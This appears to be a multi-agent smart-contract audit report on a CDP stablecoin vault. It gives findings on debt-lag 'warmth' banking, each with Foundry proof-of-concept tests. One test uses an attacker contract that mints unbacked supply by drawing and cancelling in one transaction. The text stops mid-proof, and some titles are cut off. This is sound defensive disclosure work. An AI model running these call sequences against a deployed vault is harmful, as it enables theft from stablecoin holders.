# Audit report

> Audit the vault: src/CDPVault.sol, src/ParameterizedVault.sol and src/ImdUSD.sol, at the pinned commit, for a mainnet launch. Read whatever else in src/ these contracts depend on, but report on this scope. Five audit rounds and their fixes are already in (docs/AUDIT-*.md; the newest are docs/AUDIT-SWEEP-PANEL-VAULT/GOVERNANCE/ORACLE-2026-10-07.md, whose fixes are the commit after them: git show 973369e). The sweep vault panel found one high and four mediums in the lag and the same-call accounting; the fixes change the design and are what to break first. A finding of an earlier round counts only if its fix regressed or left a gap.
>
> imdUSD is a dollar-denominated CDP stablecoin borrowed against sIMD (IdentityMD's staked IMD, an ERC-4626 share with 24 decimals, about 7.95 IMD each). Prices come from swarm-attested oracle feeds bound to pinned questions, times Chainlink ETH/USD. Everything about the deployment is in src/DeploymentConfig.sol and docs/MAINNET-RUNBOOK.md: ParameterizedVault is the deployed vault; it creates ImdUSD, Parameters, its Treasury (through TreasuryFactory), UsdPriceFeed and SharePriceFeed in its constructor. One cold governor key (APPROVED_OPERATOR) proposes parameter changes behind a 48-hour timelock. Collateral pricing is per 1e18 raw units throughout. IMD's only market is a full-range Uniswap v4 pool, about $2.3M a side with a 1% fee; docs/PARAMETERS-2026-10-05.md has the numbers every economic parameter was chosen from.
>
> Answer each numbered question, including the ones where nothing is wrong:
> 1. BANKED WARMTH (CDPVault._bank, the Position fields bankDebt/bankSecured/bankAt, BACKING_WARMUP). The lag credits an increase slowly and a decrease at once; what a decrease costs the lag (the clamp below the live figure) is banked on the position that shrank and credited back if the SAME position grows again within a day. Prove or break: (a) no sequence of calls, by one position or several, inside one transaction or across many, raises laggedDebt or laggedSecured above what honest warm-up would give; (b) cancelling another borrower's warm debt (cash, bite, cover) and drawing in the same call warms from zero; (c) the bank cannot be inflated (a decrease the lag was already under banks nothing), transferred, or kept past its day; (d) the uint128 packing and the bankAt reset; (e) what a dominant borrower's wipe in one transaction and draw in the next (same block) now does to backingPerUnit and earnLine, and what it costs.
> 2. THE BURN TALLY (BURNED_THIS_TX_SLOT in _payDebt, cover, cash; read by _backingPerUnit and _redemptionRate). Prove that a same-call repayment can no longer lift backingPerUnit or depress the redemption fee base, and find any other same-call path (bite, cash against a position, cover) that changes supply or debt under an unchanged numerator.
> 3. A DRAINED POSITION IS BITTEN WITH NO MARK AND NO GRACE (bite: _recordedBadDebt != 0 skips the mark checks; the liquidator takes the marker's share when unmarked), and cover sweeps only dust (_coverDust) or collateral below the one-wei seizure at the last price. Can a once-drained borrower who re-collateralised to health be harmed, can anyone else, and can a drained borrower still hold cover off cheaply?
> 4. THE UNPRICED TERM (_resecureBounded: with no readable price a term is kept, bounded by the collateral and scaled with any principal repaid). Overstatement or understatement reachable through lock, lockIMD, wipe, cover's unpriced sweep, during and after a dead ETH/USD or share leg.
> 5. The fresh-debt record (1e18-scaled seconds), earn's wage gate, positions, liquidation, redemption, bad debt, the stability fee, price gating, arithmetic: as the previous panel's questions 5 to 7, for regressions.
>
> Not findings: addresses in DeploymentConfig that are placeholders until deployment (INTAKE, ORACLE_ASKER, TREASURY_FACTORY, WORK_ORACLE_FACTORY); the mocks (MockIMD, MockWorkOracle, LaunchToken); script/checks/ (a separate, partly stale tree); web/ and points/; anything docs/COMPUTE-BACKING-DESIGN.md describes as future work; and findings of the earlier audits in docs/AUDIT-*.md and docs/INTERNAL-AUDIT-2026-10-04.md, unless the fix regressed. A constant set to a deliberate economic value is not a finding; an arithmetic or ordering error in how it is used is.
>
> For every finding: severity; file and function; the call sequence from an external caller; a concrete failing input or state with expected against actual; whether it is reachable with the constants as committed; and the smallest fix. Also report every place a comment or NatSpec claims a property the code does not have, and say which contracts you read in full and which you could not reach.

| | |
|---|---|
| Repository | https://github.com/fa11up/infer-protocol |
| Commit | `973369e41915695939073ce1b0e38d41370b592d` |
| Job | `3226aaed-03da-457d-be15-7e2828021e54` |
| Judged | 2026-10-08 01:14 UTC |
| Findings | 1 high · 4 medium · 2 low · 2 info |

Four agents audited the code as it is at `973369e`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: CDPVault._bank: warmth is inherited by fresh debt when the increase precedes the decrease (draw, then cash/bite/cover of a warm position), so zero-second capital backs the work ceiling and the lagged

`src/CDPVault.sol:919`

```
            uint256 lost = lagged > liveAfter ? lagged - liveAfter : 0;
```

Q1(a)/(b). Merged from audit_economics fe2a1ea4, audit_permissions 496c55a8, audit_math 856cc899 and audit_flow cf732697; all four proofs were run and fail on this code for the stated reason. The 973369e bank closes the sweep panel's high only for the order it reproduced (cancel, then draw). `_bank`'s decrease path attributes to the shrinking position only what the AGGREGATE lag visibly loses: `lost = lagged - liveAfter` (line 919), where `liveAfter` is the aggregate live figure after the decrease, and `_clampLag` (948) lowers the lag by exactly that. If another position's fresh principal is already in `totalDebt`, a warm position's cancellation leaves `liveAfter >= lagged`, so `lost == 0`, nothing is banked, nothing is clamped, and `laggedDebt` stays at the warm level while the only principal left is the newcomer's, zero seconds old. The secured side behaves identically through `_resecureBounded` -> `_bank(secured)` (888): the attacker's term replaces the honest term one for one and `laggedSecured` is left standing on fresh collateral. Call sequence (external caller, a contract or consecutive transactions; HONEST at 200%, inside the redeemable band; any wage): tx1 lock(C), draw(D) [totalDebt = D_h + D, laggedDebt = D_h]; tx2 cash(D_h, 0, HONEST) (or bite(HONEST, D_h) after a mark, paid the 20% bonus; or cover(HONEST, D_h) of a drained position, paid by the Treasury) [`_reduceDebt(HONEST)` -> `_bank(false, D_h, residue)`: liveAfter = D + residue >= D_h, lost = 0; `_clampLag`: totalDebt >= laggedDebt]. Afterwards laggedDebt == D_h == D on debt that is zero seconds old. Consequences: ParameterizedVault.backedDebt() = min(totalDebt, debtAtTxStart, laggedNow) - bad = D, earnLine() = reserve + 25% of D, `earn` mints work-issued imdUSD against it; a later wipe and free leave that supply backed by nothing (D1 reopened). The whole round trip also fits ONE transaction, because `_debtChanged` records the pre-draw total (the honest D_h the cash cancels), so the 4d30331c cap passes too (verified: lock, draw, cash, earn in one call succeeds). The redemption half needs no wage: `_backingPerUnit`'s lagged figure reads fresh = totalDebt - lagDebt = 0 and min(held, lagSecured) with lagSecured still at the honest term, so the attacker's zero-second collateral is warm backing for a reserve-funded redemption at the lifted figure in the next block. No attacker is needed either: an honest warm borrower's ordinary wipe while anyone else holds fresh debt gifts the fresh debt its warmth and banks nothing for itself; and a newcomer who simply draws and waits for any warm position to repay, be bitten or be redeemed inherits the same way. A follow-on: once the fresh position holds the inherited warmth, its own wipe banks it (lagged > liveAfter) and its redraw within a day is credited, so the inheritance persists. Reachable with the constants as committed: the redemption half at WAGE_WAD 0 (launch), the ceiling half once governance applies a wage (48 h). Cost: the redemption fee on D_h through cash (0.5-5%), a bonus EARNED through bite, nothing through cover. Who loses: every imdUSD holder (work-minted supply with no debt behind it) and the remaining holders when the reserve pays at the lifted backing. NatSpec the code does not have: CDPVault.sol 315-318 ('capital brought in one transaction and withdrawn a few later cannot authorise work minting or a redemption at par ... another position's warms from zero'), 901-902 ('Another position's increase warms from zero as before, inside one transaction or across many'), 945-946 ('what another position adds warms from zero'), 713-714 ('An attacker's capital can raise the live figure but not the lagged one'); ParameterizedVault.sol 237-239 ('the ratio term is only ever backed by debt that existed before the caller arrived ... warmth belongs to the position that earned it'). Smallest fix that keeps the design: track the lag PER POSITION. Keep `lagDebt`, `lagSecured`, `lagAt` on Position; on every touch of a positio

**Reproduction**

test/scratch/Proof_496c55a8b29e.t.sol (attached; both tests fail on this code), and the three other specialist proofs run with the same result. ParameterizedVault over an 18-decimal MockIMD at $1 (IMD/ETH 1/2000 x Chainlink ETH/USD 2000e8 etched at CHAINLINK_ETH_USD), NHI 0.85 (mat 170, gap 50), TreasuryFactory etched at TREASURY_FACTORY, wage 0.01 applied through Parameters.proposeWage + TIMELOCK + applyPending. HONEST locks 2,000 IMD, draws 1,000 imdUSD (200%, inside the band) and transfers it to the attacker contract (1,800 IMD, 1,000 rights); three quiet days: laggedNow().debt == 1,000e18. Test 1: tx1 attacker.lockDraw(1800e18, 1000e18); tx2 attacker.cash(1000e18, HONEST). EXPECTED: laggedNow().debt < 100e18 (the honest residue; the attacker's 1,000 is zero seconds old), earnLine() < 1e18 next block, earn(250e18) reverts WorkCeilingReached. ACTUAL: laggedNow().debt == 1000000000000000000000 ('zero-second debt must not read as warm: 1000000000000000000000 >= 100000000000000000000'); in the other proofs' next-block variant earnLine() == 250000012671232876712 and earn(250e18) succeeds. Test 2: attacker.drawCancelEarn(1800e18, 1000e18, HONEST, 250e18) = lock, draw, cash, earn in ONE transaction. EXPECTED: revert WorkCeilingReached. ACTUAL: 'next call did not revert as expected', totalEarned == 250e18 against zero-second debt. The project's own test_cancellingAnotherBorrowersWarmDebtDoesNotTransferItsWarmth passes only because its Swapper cashes before it draws.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ParameterizedVault} from "src/ParameterizedVault.sol";
import {CDPVault} from "src/CDPVault.sol";
import {ImdUSD} from "src/ImdUSD.sol";
import {MockIMD} from "src/MockIMD.sol";
import {MockWorkOracle} from "src/MockWorkOracle.sol";
import {TreasuryFactory} from "src/TreasuryFactory.sol";
import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
import {Parameters} from "src/Parameters.sol";
import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";

contract WfoFeed is ISwarmFeed {
    uint256 public constant maxAge = 1 days;
    uint256 private value;
    uint64 private updatedAt;

    constructor(uint256 v) {
        value = v;
        updatedAt = uint64(block.timestamp);
    }

    function latestValue() external view returns (uint256, uint64) {
        return (value, updatedAt);
    }

    function isStale() external pure returns (bool) {
        return false;
    }
}

contract WfoMirror is ISwarmFeed {
    ISwarmFeed private immutable primary;

    constructor(ISwarmFeed p) {
        primary = p;
    }

    function latestValue() external view returns (uint256, uint64) {
        return primary.latestValue();
    }

    function isStale() external view returns (bool) {
        return primary.isStale();
    }

    function maxAge() external view returns (uint256) {
        return primary.maxAge();
    }
}

contract WfoAggregator {
    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, 2000e8, block.timestamp, block.timestamp, 1);
    }
}

/// @dev The attacker is a contract so several vault calls can share one transaction.
contract WfoAttacker {
    ParameterizedVault private immutable vault;

    constructor(ParameterizedVault vault_, MockIMD imd_) {
        vault = vault_;
        imd_.approve(address(vault_), type(uint256).max);
    }

    function lockDraw(uint256 collateral, uint256 debt) external {
        vault.lock(collateral);
        vault.draw(debt);
    }

    function cash(uint256 amount, address candidate) external {
        vault.cash(amount, 0, candidate);
    }

    /// Draw FIRST, cancel the honest borrower's warm debt SECOND, then mint work: one transaction.
    function drawCancelEarn(uint256 collateral, uint256 debt, address candidate, uint256 work) external {
        vault.lock(collateral);
        vault.draw(debt);
        vault.cash(debt, 0, candidate);
        vault.earn(work);
    }
}

/// @notice CDPVault._bank: warmth is banked on the position that shrank only by what the lag LOST to the
/// decrease. When another borrower's fresh debt has already been drawn, the honest borrower's cancellation
/// costs the lag nothing, so nothing is banked and the lag stays at the honest level for debt that is zero
/// seconds old. Cancel-then-draw warms from zero (the fix); draw-then-cancel does not (this test).
contract WarmthFollowsOrderingTest is Test {
    address private constant HONEST = address(0x4043);

    MockIMD private imd;
    ParameterizedVault private vault;
    ImdUSD private stable;
    MockWorkOracle private oracle;
    WfoAttacker private attacker;

    function setUp() public {
        if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
        vm.etch(CHAINLINK_ETH_USD, address(new WfoAggregator()).code);
        vm.warp(1_000_000);
        imd = new MockIMD();
        // 1 IMD = 1/2000 ETH and 1 ETH = $2000: the vault prices IMD at exactly $1.
        WfoFeed primary = new WfoFeed(uint256(1 ether) * 1e18 / 2000 ether);
        WfoFeed health = new WfoFeed(0.85 ether); // mat 170, gap 50: redeemable below 220%
        vault = new ParameterizedVault(
            address(imd), address(0), address(0), address(primary), address(health), address(new WfoMirror(primary))
        );
        stable = vault.stablecoin();
        oracle = MockWorkOracle(address(vault.oracle()));
        attacker = new WfoAttacker(vault, imd);
        vm.startPrank(APPROVED_OPERATOR);
        imd.mint(HONEST, 2_000 ether);
        imd.mint(address(attacker), 2_000 ether);
        oracle.grantRights(address(attacker), 1_000 ether);
        vm.stopPrank();
        vm.startPrank(HONEST);
        imd.approve(address(vault), type(uint256).max);
        vault.lock(2_000 ether); // 200%: inside the redeemable band
        vault.draw(1_000 ether);
        stable.transfer(address(attacker), 1_000 ether);
        vm.stopPrank();
        // Minting from work switched on the governed way.
        Parameters params = vault.parameters();
        vm.prank(APPROVED_OPERATOR);
        params.proposeWage(0.01 ether);
        vm.warp(block.timestamp + params.TIMELOCK());
        params.applyPending();
        // Three quiet days: the honest debt is warm.
        vm.warp(block.timestamp + 3 days);
        (uint256 warm,) = vault.laggedNow();
        assertEq(warm, 1_000 ether, "the honest debt is warm");
    }

    function _nextBlock() private {
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 12);
    }

    /// Transaction 1: the attacker opens 1,800 / 1,000. Transaction 2: cash 1,000 against the honest
    /// position. The only principal left is the attacker's, zero seconds old, and the lag still reads 1,000.
    function test_drawThenCancelAcrossTransactionsKeepsTheLagWarmForFreshDebt() public {
        attacker.lockDraw(1_800 ether, 1_000 ether);
        attacker.cash(1_000 ether, HONEST);
        assertLt(vault.debtOf(HONEST), 1 ether, "the honest principal is cancelled (a fee residue remains)");
        (uint256 lagDebt,) = vault.laggedNow();
        // EXPECTED: about the fee residue (the honest position banked its warmth; the attacker's warms from zero).
        assertLt(lagDebt, 100 ether, "zero-second debt must not read as warm");
        _nextBlock();
        assertLt(vault.earnLine(), 1 ether, "the work ceiling must not be backed by zero-second debt");
        vm.prank(address(attacker));
        vm.expectRevert(CDPVault.WorkCeilingReached.selector);
        vault.earn(250 ether);
    }

    /// The whole round trip in one transaction: lock, draw, cash, earn. The tx-start debt cap records the
    /// honest 1,000 before the attacker's draw, and the lag never moves, so the earn passes.
    function test_drawThenCancelThenEarnInOneTransactionIsRefused() public {
        vm.expectRevert(CDPVault.WorkCeilingReached.selector);
        attacker.drawCancelEarn(1_800 ether, 1_000 ether, HONEST, 250 ether);
        assertEq(vault.totalEarned(), 0, "no work-minted imdUSD against zero-second debt");
    }
}
```

### 2. Medium: CDPVault._reduceDebt banks the debt-side warmth against the STORED laggedDebt before _advanceLag runs, so after a quiet warm-up a repayment banks nothing and the same position's redraw warms from zero

`src/CDPVault.sol:1265`

```
        _bank(position, false, principalBefore, principalBefore - principalPaid);
```

Q1(c)/(e). Merged from audit_economics eccea774, audit_permissions 5a6a06a9, audit_math ebae89da and audit_flow c20a886f; reproduced with my own test. `_bank`'s decrease path reads `laggedDebt` from storage (917), the lag AS OF THE LAST CHECKPOINT (`laggedAt`), not `laggedNow()`. `draw` (471) and `_resecureBounded` (886) call `_advanceLag()` before their `_bank`; `_reduceDebt` calls the debt-side `_bank` at line 1265 FIRST and `_advanceLag()` only afterwards (inside `_resecureBounded` at 1272, and again at 1299). Stored `laggedDebt` is never above the advanced figure (`_clampLag` keeps it at or below `totalDebt`, `_approach` is monotone up), so the error is always under-banking. Under activity it is the warm-up since the last checkpoint; in a QUIET vault (the launch state; `earn`, transfers, reserve-funded `cash` and views are not checkpoints) the last checkpoint can be the position's own draw, at which the stored lag excluded that debt entirely: `lost` saturates to 0, nothing is banked, `_advanceLag` then lifts the lag to the warm level and `_clampLag` drops it to the post-repayment level. The same position's draw, in the same transaction or the next block, finds an empty bank and warms from zero over a day (exponentially longer under activity, 310-313). The secured side is unaffected because `_resecureBounded` advances first. This is exactly the final panel's medium and the sweep panel's #5 (a wipe in one transaction and a draw in the next clamps the lag at once) that 973369e says the bank covers; the regression test test_anAtomicWipeAndRedrawLeavesTheLagWhereItWas passes only because it calls `_feeMoney` (a checkpoint) right before the churn. Effect with work-minted supply E outstanding: `_backingPerUnit`'s lagged figure is (reserve + 1.7 x min(prior, lagDebt)) / (supply - fresh) with lagDebt the fee residue, so backing reads 0 for a sole borrower, `cash` reverts ZeroAmount for every redeemer and earnLine() falls to the reserve, for a day; at wage 0 the redemption cap is still affected wherever the debt term binds. Who is hurt: the honest borrower (its warmth gone), every redeemer for that day, rights holders. Reachable with the constants as committed, no attacker: an ordinary repay-and-redraw by a dominant borrower. Answer to Q1(e): a dominant borrower's wipe in one transaction and draw in the next (same block) is netted by the bank ONLY if some other transaction checkpointed the lag after its capital warmed; otherwise it clamps backingPerUnit and earnLine for a day as before the fix, for two transactions of gas. Smallest fix: call `_advanceLag()` immediately before the `_bank(position, false, ...)` at line 1265 (or move that `_bank` after `_resecureBounded`). `_advanceLag` is idempotent within a block, so the later calls stay harmless. Verified locally: with that one line the attached tests pass and test/LaggedBacking.t.sol stays 13/13 green.

**Reproduction**

test/scratch/StaleBank.t.sol (attached; both tests fail on this code). ParameterizedVault at $1, NHI 0.85, wage 0.01 applied. Test 1: HELPER locks 200, draws 50 and hands BORROWER 50 imdUSD (fee money, BEFORE the quiet period); BORROWER locks 2,000, draws 1,000; warp 3 days with no call: laggedNow().debt == 1,050e18, laggedDebt() (stored) == 0, earnLine() == 262.5e18. BORROWER wipe(500e18) as one transaction (laggedNow().debt == about 550.4e18, a decrease counts at once; inside the call `_bank` computed lost = max(0 - 550, 0) = 0 and banked nothing), then draw(500e18) as the next. EXPECTED (NatSpec 316-318, 900-901): laggedNow().debt >= 1,049e18 and earnLine() about 262.5e18. ACTUAL: 550364931506849315000 ('a borrower's own wipe-and-redraw must leave the lag where it was: 550364931506849315000 < 1049000000000000000000'). Test 2: BORROWER 2,000 / 1,000; a day later WORKER earns 250 (the ceiling) and gives 10 imdUSD each to BORROWER and REDEEMER; another quiet day; backingPerUnit() == 1e18. BORROWER wipe(debtOf) then draw(1000e18), two transactions. EXPECTED: backingPerUnit() >= 0.99e18 and REDEEMER's cash(10e18, 0, BORROWER) pays about par. ACTUAL: backingPerUnit() == 0 ('0 < 990000000000000000'); cash reverts ZeroAmount.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ParameterizedVault} from "src/ParameterizedVault.sol";
import {CDPVault} from "src/CDPVault.sol";
import {ImdUSD} from "src/ImdUSD.sol";
import {MockIMD} from "src/MockIMD.sol";
import {MockWorkOracle} from "src/MockWorkOracle.sol";
import {TreasuryFactory} from "src/TreasuryFactory.sol";
import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
import {Parameters} from "src/Parameters.sol";
import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";

contract SbFeed is ISwarmFeed {
    uint256 public constant maxAge = 1 days;
    uint256 private value;
    uint64 private updatedAt;

    constructor(uint256 v) {
        value = v;
        updatedAt = uint64(block.timestamp);
    }

    function latestValue() external view returns (uint256, uint64) {
        return (value, updatedAt);
    }

    function isStale() external pure returns (bool) {
        return false;
    }
}

contract SbMirror is ISwarmFeed {
    ISwarmFeed private immutable primary;

    constructor(ISwarmFeed p) {
        primary = p;
    }

    function latestValue() external view returns (uint256, uint64) {
        return primary.latestValue();
    }

    function isStale() external view returns (bool) {
        return primary.isStale();
    }

    function maxAge() external view returns (uint256) {
        return primary.maxAge();
    }
}

contract SbAggregator {
    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, 2000e8, block.timestamp, block.timestamp, 1);
    }
}

/// @notice CDPVault._reduceDebt calls the debt-side `_bank` (line 1265) BEFORE the first `_advanceLag` of the
/// call (inside `_resecureBounded`, line 886, and again at line 1299). `_bank` measures what the lag loses
/// as `laggedDebt - liveAfter` from the STORED `laggedDebt`, which is the lag as of the last checkpoint.
/// After a quiet warm-up (no deposit, borrow or repayment by anyone since the position's draw) the stored
/// figure is still the pre-draw one, `lost` saturates to zero and nothing is banked; `_advanceLag` then
/// lifts the lag to the warm level and `_clampLag` drops it to the post-repayment level. The same position's
/// redraw finds an empty bank and warms from zero, which is the final panel's medium the bank was added for.
contract StaleBankTest is Test {
    address private constant BORROWER = address(0xB0B);
    address private constant HELPER = address(0x4E1);
    address private constant WORKER = address(0xCA);
    address private constant REDEEMER = address(0x5ED);

    MockIMD private imd;
    ParameterizedVault private vault;
    ImdUSD private stable;
    MockWorkOracle private oracle;

    function setUp() public {
        if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
        vm.etch(CHAINLINK_ETH_USD, address(new SbAggregator()).code);
        vm.warp(1_000_000);
        imd = new MockIMD();
        // 1 IMD = 1/2000 ETH and 1 ETH = $2000: the vault prices IMD at exactly $1.
        SbFeed primary = new SbFeed(uint256(1 ether) * 1e18 / 2000 ether);
        SbFeed health = new SbFeed(0.85 ether);
        vault = new ParameterizedVault(
            address(imd), address(0), address(0), address(primary), address(health), address(new SbMirror(primary))
        );
        stable = vault.stablecoin();
        oracle = MockWorkOracle(address(vault.oracle()));
        vm.startPrank(APPROVED_OPERATOR);
        imd.mint(BORROWER, 2_000 ether);
        imd.mint(HELPER, 200 ether);
        oracle.grantRights(WORKER, 1_000 ether);
        vm.stopPrank();
        vm.prank(BORROWER);
        imd.approve(address(vault), type(uint256).max);
        vm.prank(HELPER);
        imd.approve(address(vault), type(uint256).max);
        // Minting from work switched on the governed way (the work-ceiling half; the backing half needs no wage).
        Parameters params = vault.parameters();
        vm.prank(APPROVED_OPERATOR);
        params.proposeWage(0.01 ether);
        vm.warp(block.timestamp + params.TIMELOCK());
        params.applyPending();
    }

    /// @dev Fee money for the borrower, given BEFORE the quiet period so the helper's draw is the last checkpoint.
    function test_quietVaultWipeBanksNothingAndTheRedrawWarmsFromZero() public {
        vm.startPrank(HELPER);
        vault.lock(200 ether);
        vault.draw(50 ether);
        stable.transfer(BORROWER, 50 ether);
        vm.stopPrank();
        vm.startPrank(BORROWER);
        vault.lock(2_000 ether);
        vault.draw(1_000 ether);
        vm.stopPrank();
        // Three quiet days: no call checkpoints the lag.
        vm.warp(block.timestamp + 3 days);
        (uint256 warm,) = vault.laggedNow();
        assertEq(warm, 1_050 ether, "warm as of now");
        assertEq(vault.laggedDebt(), 0, "but the STORED lag is the pre-draw one");
        assertApproxEqAbs(vault.earnLine(), 262.5 ether, 0.01 ether);

        // Transaction N: repay half. Transaction N+1, same block: draw it back.
        vm.prank(BORROWER);
        vault.wipe(500 ether);
        (uint256 afterWipe,) = vault.laggedNow();
        assertApproxEqAbs(afterWipe, 550.4 ether, 0.1 ether, "a decrease counts at once");
        vm.prank(BORROWER);
        vault.draw(500 ether);
        (uint256 afterRedraw,) = vault.laggedNow();
        // EXPECTED (NatSpec 316-318, 900-901): the same position's capital returned within the day is
        // credited back, so the lag is about 1,050 again and the ceiling about 262.5.
        // ACTUAL: about 550: the wipe banked nothing because it read the stale stored lag (0).
        assertGe(afterRedraw, 1_049 ether, "a borrower's own wipe-and-redraw must leave the lag where it was");
        assertGe(vault.earnLine(), 262 ether, "and the work ceiling with it");
    }

    /// @dev The backing half, at the same wage: with work-minted supply outstanding the lagged backing falls
    /// to zero and cash is closed for every redeemer until the redraw warms up.
    function test_quietVaultWipeAndRedrawZeroesTheLaggedBacking() public {
        vm.startPrank(BORROWER);
        vault.lock(2_000 ether);
        vault.draw(1_000 ether);
        vm.stopPrank();
        vm.warp(block.timestamp + 1 days);
        vm.startPrank(WORKER);
        vault.earn(250 ether); // the ceiling: the debt is warm as of now
        stable.transfer(BORROWER, 10 ether); // fee money
        stable.transfer(REDEEMER, 10 ether);
        vm.stopPrank();
        vm.warp(block.timestamp + 1 days); // another quiet day: earn and transfers are not checkpoints
        assertEq(vault.backingPerUnit(), 1e18, "fully backed before the churn");

        uint256 whole = vault.debtOf(BORROWER);
        vm.prank(BORROWER);
        vault.wipe(whole);
        vm.prank(BORROWER);
        vault.draw(1_000 ether);
        // EXPECTED: still at par (the position's own capital returned within the day).
        // ACTUAL: 0, and cash reverts ZeroAmount for every redeemer for a day.
        assertGe(vault.backingPerUnit(), 0.99e18, "the lagged backing must not read the redraw as fresh");
        vm.prank(REDEEMER);
        uint256 out = vault.cash(10 ether, 0, BORROWER);
        assertGt(out, 9 ether, "a redemption pays about par");
    }
}
```

### 3. Medium: CDPVault._bank: one shared bankAt re-dated by every decrease, and an expiry test that reads only the side being changed, so a bank is kept past its day by a wei-a-day trickle and an expired bank is re

`src/CDPVault.sol:910`

```
        if (bank != 0 && block.timestamp - position.bankAt > BACKING_WARMUP) {
```

Q1(c)/(d). Merged from audit_economics 351a75b9, audit_permissions 959edaf3, audit_math 086719b5 and audit_flow 5f925b35; reproduced with my own test. The NatSpec at 902-903 says 'a position that stays smaller for a day forfeits the bank and warms again like any new capital'. The code forfeits a bank only when a day has passed since the position's LAST decrease on EITHER side: `bankAt` is one field for both banks, every decrease with lost != 0 overwrites it (line 922), and the expiry test at line 910 runs only when the bank of the side being changed is nonzero. (1) Trickle: a position that banked a large amount shrinks by a wei of principal a day (a wipe just above the accrued fee, so principalPaid != 0 and, with the lag at the live figure, lost != 0); its bank never expires, and days or months later the whole amount is credited to laggedDebt / laggedSecured at once. (2) Cross-side: with bankDebt == 0 and an expired bankSecured, a one-wei principal repayment skips the expiry test (bank == 0), banks one wei, re-dates bankAt, and the next lock credits the whole stale collateral bank; symmetrically a one-wei free while collateral-bound revives an expired debt bank. Effect: the day of warm-up the lag imposes on capital away more than a day is bypassed indefinitely for gas plus a wei of principal, so a position that was warm once holds a permanent option to bring its capital back for one block and have it read as warm: in a below-par regime (a price fall with work supply or bad debt outstanding) the returned collateral lifts `_backingPerUnit`'s lagged figure for a reserve-funded redemption in the same block and leaves again (the D1 redemption half, at every wage), and returned debt lifts earnLine at once (with a wage). Bounded by what the position once held warm, hence medium. Reachable with the constants as committed, no governance. The rest of (d) holds: `bank + lost` saturates at type(uint128).max before the cast, sIMD's 24-decimal raw units fit, and the expiry resets both banks together. Smallest fix: judge expiry on either bank (`(position.bankDebt != 0 || position.bankSecured != 0) && block.timestamp - position.bankAt > BACKING_WARMUP`) and set `bankAt` only when BOTH banks were zero before the add, so a bank expires one warm-up after the capital first left whatever is added to it later (a top-up may forfeit early, the safe direction). Verified locally: with that change the attached tests pass and test/LaggedBacking.t.sol stays green. Alternatively keep one timestamp per bank (`bankDebtAt`, `bankSecuredAt`; the struct's tail word has room). Reword 902-903 to the behaviour chosen.

**Reproduction**

test/scratch/BankExpiry.t.sol (attached; both tests fail on this code). ParameterizedVault at $1, NHI 0.85, wage 0. Test 1 (trickle): BORROWER locks 4,000 and draws 1,000; HELPER opens 200 / 50 and hands BORROWER 50 imdUSD; three days; HELPER lock(1) checkpoints: laggedDebt() == 1,050e18. Day 0: BORROWER wipe(500e18): laggedDebt == totalDebt, bankDebt about 499.6e18. Days 1, 2, 3: BORROWER wipe(1e18) (about 0.94 of principal each, after the day's fee), each refreshing bankAt. Day 3, same block: BORROWER draw(500e18). EXPECTED (902-903): the 500 that left three days ago was forfeited; laggedDebt rises by under 10e18. ACTUAL: it rises by exactly 500e18 ('warmth banked three days ago must not be credited back: 500000000000000000000 >= 10000000000000000000'). Test 2 (cross-side): BORROWER locks 2,000, draws 1,000; two days; free(290e18): the collateral-bound term falls 2,000 -> 1,710, laggedSecured == 1,710e18, bankSecured == 290e18. Thirty days pass. BORROWER wipe(stabilityFeeOf + 1) (one wei of principal: bankDebt == 0 so no expiry test; bankAt re-dated), then lock(290e18). EXPECTED: laggedSecured <= 1,711e18 (the 290, away a month, warms from zero). ACTUAL: 1999999999999999999998 ('an expired bank must not be revived by the other side: 1999999999999999999998 > 1711000000000000000000').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ParameterizedVault} from "src/ParameterizedVault.sol";
import {CDPVault} from "src/CDPVault.sol";
import {ImdUSD} from "src/ImdUSD.sol";
import {MockIMD} from "src/MockIMD.sol";
import {TreasuryFactory} from "src/TreasuryFactory.sol";
import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";

contract BeFeed is ISwarmFeed {
    uint256 public constant maxAge = 1 days;
    uint256 private value;
    uint64 private updatedAt;

    constructor(uint256 v) {
        value = v;
        updatedAt = uint64(block.timestamp);
    }

    function latestValue() external view returns (uint256, uint64) {
        return (value, updatedAt);
    }

    function isStale() external pure returns (bool) {
        return false;
    }
}

contract BeMirror is ISwarmFeed {
    ISwarmFeed private immutable primary;

    constructor(ISwarmFeed p) {
        primary = p;
    }

    function latestValue() external view returns (uint256, uint64) {
        return primary.latestValue();
    }

    function isStale() external view returns (bool) {
        return primary.isStale();
    }

    function maxAge() external view returns (uint256) {
        return primary.maxAge();
    }
}

contract BeAggregator {
    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, 2000e8, block.timestamp, block.timestamp, 1);
    }
}

/// @notice CDPVault._bank: one `bankAt` for both banks, re-dated by every decrease that costs the lag anything
/// (line 922), and the expiry test (line 910) runs only when the bank OF THE SIDE BEING CHANGED is nonzero.
/// So (1) a one-wei-a-day decrease keeps a bank of any size alive indefinitely, and (2) a decrease on one
